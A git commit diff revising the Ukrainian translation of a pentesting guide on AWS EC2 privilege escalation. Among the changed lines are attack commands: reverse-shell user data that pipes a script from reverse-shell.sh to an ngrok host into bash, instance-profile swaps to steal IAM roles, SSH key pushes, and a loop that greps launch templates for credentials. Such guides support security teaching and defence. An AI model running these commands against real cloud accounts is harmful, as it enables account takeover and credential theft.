Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:04:17 +00:00
parent 51a287db34
commit 0387700ca4
7 changed files with 510 additions and 273 deletions

View File

@@ -4,7 +4,7 @@
## EC2
Для отримання більшої **інформації про EC2** перевірте:
Для отримання додаткової **інформації про EC2** перевірте:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
#### Підвищення привілеїв до ECS
З цим набором дозволів ви також могли б **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **викрасти їх ролі ECS**.
З цим набором дозволів ви також можете **створити екземпляр EC2 і зареєструвати його в кластері ECS**. Таким чином, **сервіси** ECS будуть **запущені** в **екземплярі EC2**, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і **вкрасти їх ролі ECS**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -82,33 +82,31 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Якщо **профіль екземпляра має роль** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **профіль екземпляра без ролі** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **роль** до цього **профілю екземпляра** (як обговорювалося раніше) і **асоціювати профіль екземпляра** з скомпрометованим i**нстансом:**
- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`) \*
- Якщо екземпляр **не має жодного профілю** екземпляра (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (необхідно, щоб ви зламали AWS EC2 інстанцію та мали додаткові дозволи або специфічний статус профілю інстанції).
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що асоційований з нею.
З цими дозволами можливо змінити профіль інстансу, асоційований з інстансом, тому якщо атака вже мала доступ до інстансу, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстансу, змінивши той, що з ним асоційований.
- Якщо **є профіль інстанції**, ви можете **видалити** профіль інстанції (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його \*
- Якщо **є профіль інстансу**, ви можете **видалити** профіль інстансу (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`). \*
````
- або **замінити** **профіль екземпляра** скомпрометованого екземпляра (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс і мати додаткові дозволи або специфічний статус профілю інстансу).
**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно скомпрометувати AWS EC2 інстанс та мати додаткові дозволи або специфічний статус профілю інстансу).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **реверс-шеллом** у **даних користувача**.\
Зловмисник з дозволами **`ec2:RequestSpotInstances`та`iam:PassRole`** може **запросити** **Spot Instance** з **прикріпленою роллю EC2** та **rev shell** в **даних користувача**.\
Після запуску інстансу він може **викрасти IAM роль**.
```bash
REV=$(printf '#!/bin/bash
@@ -123,7 +121,7 @@ aws ec2 request-spot-instances \
Зловмисник з **`ec2:ModifyInstanceAttribute`** може змінювати атрибути екземплярів. Серед них він може **змінити дані користувача**, що означає, що він може змусити екземпляр **виконувати довільні дані.** Це може бути використано для отримання **rev shell до EC2 екземпляра**.
Зверніть увагу, що атрибути можна **змінювати лише коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**.
Зверніть увагу, що атрибути можна **змінювати лише тоді, коли екземпляр зупинено**, тому **дозволи** **`ec2:StopInstances`** та **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштований** на використання **останній** або **версії за замовчуванням**, буде **знову запускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку.
Зловмисник з правами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`та `ec2:ModifyLaunchTemplate`** може створити **нову версію шаблону запуску** з **реверсною оболонкою** в **даних користувача** та **будь-якою EC2 IAM роллю на ньому**, змінити версію за замовчуванням, і **будь-яка група Autoscaler**, **яка використовує** цей **шаблон запуску**, що **налаштована** на використання **останній** або **версії за замовчуванням**, буде **перезапускати екземпляри**, використовуючи цей шаблон, і виконає реверсну оболонку.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -213,7 +211,7 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених інстансів.
**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль для його експлуатації.
Цей спосіб не є особливо корисним для privesc, оскільки вам потрібно знати ім'я користувача та пароль, щоб його експлуатувати.
**Потенційний вплив:** (Високо неперевірений) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів.
**Потенційний вплив:** (Дуже непереконливо) Прямий privesc до EC2 IAM ролей, прикріплених до запущених екземплярів.
### `describe-launch-templates`,`describe-launch-template-versions`
Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску:
Оскільки шаблони запуску мають версії, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може експлуатувати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Щоб досягти цього, наступний скрипт проходить через усі версії доступних шаблонів запуску:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -250,13 +248,13 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
У наведених командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
Припустимо, ми знаходимо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використовувати ці облікові дані для автентифікації в AWS.
**Потенційний вплив:** Пряме підвищення привілеїв до IAM користувача(ів).
## Посилання
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)